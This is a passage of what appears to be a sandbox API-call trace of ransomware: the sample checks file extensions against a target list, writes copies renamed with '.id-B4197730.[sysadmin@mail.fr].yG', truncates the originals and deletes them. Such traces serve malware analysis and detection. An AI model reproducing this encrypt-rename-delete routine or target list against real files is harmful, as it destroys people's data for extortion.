	[0043.037] lstrlenW (lpString=".rar") returned 4
	[0043.037] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.037] lstrlenW (lpString=".bz2") returned 4
	[0043.037] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.037] lstrlenW (lpString=".7z") returned 3
	[0043.037] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.037] lstrlenW (lpString=".dbf") returned 4
	[0043.037] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.037] lstrlenW (lpString=".1cd") returned 4
	[0043.037] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.037] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0043.037] lstrlenW (lpString=".jpg") returned 4
	[0043.037] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.037] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0043.037] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0043.037] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0043.046] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=79296) returned 1
	[0043.046] CloseHandle (hObject=0x34c) returned 1
	[0043.046] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 0x80
	[0043.046] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.046] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0043.046] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.046] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.047] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0043.047] GetLastError () returned 0x0
	[0043.047] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x135c0, lpOverlapped=0x0) returned 1
	[0043.111] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x135d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x135d0, lpOverlapped=0x0) returned 1
	[0043.113] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.113] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0043.113] SetEndOfFile (hFile=0x350) returned 1
	[0043.113] CloseHandle (hObject=0x350) returned 1
	[0043.115] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.115] SetEndOfFile (hFile=0x34c) returned 1
	[0043.116] CloseHandle (hObject=0x34c) returned 1
	[0043.116] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.116] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml")) returned 1
	[0043.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.117] lstrlenW (lpString=".doc") returned 4
	[0043.117] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.117] lstrlenW (lpString=".docx") returned 5
	[0043.117] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.117] lstrlenW (lpString=".pdf") returned 4
	[0043.117] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.117] lstrlenW (lpString=".xls") returned 4
	[0043.117] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.117] lstrlenW (lpString=".xlsx") returned 5
	[0043.117] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.117] lstrlenW (lpString=".ppt") returned 4
	[0043.117] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.117] lstrlenW (lpString=".zip") returned 4
	[0043.117] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.117] lstrlenW (lpString=".rar") returned 4
	[0043.117] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.117] lstrlenW (lpString=".bz2") returned 4
	[0043.117] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.117] lstrlenW (lpString=".7z") returned 3
	[0043.117] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.117] lstrlenW (lpString=".dbf") returned 4
	[0043.117] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.117] lstrlenW (lpString=".1cd") returned 4
	[0043.117] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.117] lstrlenW (lpString=".jpg") returned 4
	[0043.117] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.118] lstrlenW (lpString=".doc") returned 4
	[0043.118] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.118] lstrlenW (lpString=".docx") returned 5
	[0043.118] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.118] lstrlenW (lpString=".pdf") returned 4
	[0043.118] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.118] lstrlenW (lpString=".xls") returned 4
	[0043.118] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.118] lstrlenW (lpString=".xlsx") returned 5
	[0043.118] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.118] lstrlenW (lpString=".ppt") returned 4
	[0043.118] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.118] lstrlenW (lpString=".zip") returned 4
	[0043.118] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.118] lstrlenW (lpString=".rar") returned 4
	[0043.118] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.118] lstrlenW (lpString=".bz2") returned 4
	[0043.118] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.118] lstrlenW (lpString=".7z") returned 3
	[0043.118] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.118] lstrlenW (lpString=".dbf") returned 4
	[0043.118] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.118] lstrlenW (lpString=".1cd") returned 4
	[0043.118] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml") returned 44
	[0043.118] lstrlenW (lpString=".jpg") returned 4
	[0043.118] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.118] lstrcmpiW (lpString1=".rtf", lpString2=".yG") returned -1
	[0043.118] lstrlenW (lpString="eula.rtf") returned 8
	[0043.119] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0043.119] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=4040) returned 1
	[0043.119] CloseHandle (hObject=0x34c) returned 1
	[0043.119] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 0x80
	[0043.119] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.119] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0043.119] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.119] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.119] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0043.119] GetLastError () returned 0x0
	[0043.119] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0xfc8, lpOverlapped=0x0) returned 1
	[0043.419] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xfd0, lpOverlapped=0x0) returned 1
	[0043.420] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.420] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0043.420] SetEndOfFile (hFile=0x350) returned 1
	[0043.420] CloseHandle (hObject=0x350) returned 1
	[0043.421] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.421] SetEndOfFile (hFile=0x34c) returned 1
	[0043.422] CloseHandle (hObject=0x34c) returned 1
	[0043.422] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.422] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf")) returned 1
	[0043.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.422] lstrlenW (lpString=".doc") returned 4
	[0043.422] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.422] lstrlenW (lpString=".docx") returned 5
	[0043.422] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.422] lstrlenW (lpString=".pdf") returned 4
	[0043.422] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.422] lstrlenW (lpString=".xls") returned 4
	[0043.423] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.423] lstrlenW (lpString=".xlsx") returned 5
	[0043.423] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.423] lstrlenW (lpString=".ppt") returned 4
	[0043.423] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.423] lstrlenW (lpString=".zip") returned 4
	[0043.423] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.423] lstrlenW (lpString=".rar") returned 4
	[0043.423] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.423] lstrlenW (lpString=".bz2") returned 4
	[0043.423] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.423] lstrlenW (lpString=".7z") returned 3
	[0043.423] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.423] lstrlenW (lpString=".dbf") returned 4
	[0043.423] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.423] lstrlenW (lpString=".1cd") returned 4
	[0043.423] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.423] lstrlenW (lpString=".jpg") returned 4
	[0043.423] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.423] lstrlenW (lpString=".doc") returned 4
	[0043.423] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0043.423] lstrlenW (lpString=".docx") returned 5
	[0043.423] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0043.423] lstrlenW (lpString=".pdf") returned 4
	[0043.423] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0043.423] lstrlenW (lpString=".xls") returned 4
	[0043.423] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0043.423] lstrlenW (lpString=".xlsx") returned 5
	[0043.423] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0043.423] lstrlenW (lpString=".ppt") returned 4
	[0043.423] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0043.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.424] lstrlenW (lpString=".zip") returned 4
	[0043.424] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0043.424] lstrlenW (lpString=".rar") returned 4
	[0043.424] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0043.424] lstrlenW (lpString=".bz2") returned 4
	[0043.424] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0043.424] lstrlenW (lpString=".7z") returned 3
	[0043.424] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0043.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.424] lstrlenW (lpString=".dbf") returned 4
	[0043.424] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0043.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.424] lstrlenW (lpString=".1cd") returned 4
	[0043.424] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0043.424] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned 35
	[0043.424] lstrlenW (lpString=".jpg") returned 4
	[0043.424] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0043.424] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0043.424] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0043.424] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0043.424] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=81482) returned 1
	[0043.424] CloseHandle (hObject=0x34c) returned 1
	[0043.424] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 0x80
	[0043.425] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0043.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0043.425] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.425] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0043.425] GetLastError () returned 0x0
	[0043.425] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x13e4a, lpOverlapped=0x0) returned 1
	[0043.779] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x13e50, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x13e50, lpOverlapped=0x0) returned 1
	[0043.781] ReadFile (in: hFile=0x34c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0043.781] WriteFile (in: hFile=0x350, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0043.781] SetEndOfFile (hFile=0x350) returned 1
	[0043.781] CloseHandle (hObject=0x350) returned 1
	[0043.783] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0043.783] SetEndOfFile (hFile=0x34c) returned 1
	[0043.784] CloseHandle (hObject=0x34c) returned 1
	[0043.784] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0043.784] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml")) returned 1
	[0043.785] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.785] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.785] lstrlenW (lpString=".doc") returned 4
	[0043.785] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.785] lstrlenW (lpString=".docx") returned 5
	[0043.785] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.785] lstrlenW (lpString=".pdf") returned 4
	[0043.785] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.785] lstrlenW (lpString=".xls") returned 4
	[0043.785] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.785] lstrlenW (lpString=".xlsx") returned 5
	[0043.785] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.785] lstrlenW (lpString=".ppt") returned 4
	[0043.785] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.785] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.785] lstrlenW (lpString=".zip") returned 4
	[0043.785] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.785] lstrlenW (lpString=".rar") returned 4
	[0043.785] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.785] lstrlenW (lpString=".bz2") returned 4
	[0043.785] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.785] lstrlenW (lpString=".7z") returned 3
	[0043.785] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.785] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.785] lstrlenW (lpString=".dbf") returned 4
	[0043.785] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.785] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.785] lstrlenW (lpString=".1cd") returned 4
	[0043.785] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.785] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.785] lstrlenW (lpString=".jpg") returned 4
	[0043.785] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.786] lstrlenW (lpString=".doc") returned 4
	[0043.786] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0043.786] lstrlenW (lpString=".docx") returned 5
	[0043.786] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0043.786] lstrlenW (lpString=".pdf") returned 4
	[0043.786] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0043.786] lstrlenW (lpString=".xls") returned 4
	[0043.786] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0043.786] lstrlenW (lpString=".xlsx") returned 5
	[0043.786] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0043.786] lstrlenW (lpString=".ppt") returned 4
	[0043.786] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0043.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.786] lstrlenW (lpString=".zip") returned 4
	[0043.786] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0043.786] lstrlenW (lpString=".rar") returned 4
	[0043.786] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0043.786] lstrlenW (lpString=".bz2") returned 4
	[0043.786] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0043.786] lstrlenW (lpString=".7z") returned 3
	[0043.786] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0043.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.786] lstrlenW (lpString=".dbf") returned 4
	[0043.786] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0043.786] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.786] lstrlenW (lpString=".1cd") returned 4
	[0043.786] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0043.787] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 44
	[0043.787] lstrlenW (lpString=".jpg") returned 4
	[0043.787] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0043.787] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0043.787] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0043.787] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0043.787] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=60684) returned 1
	[0043.787] CloseHandle (hObject=0x34c) returned 1
	[0043.787] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80
	[0043.787] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
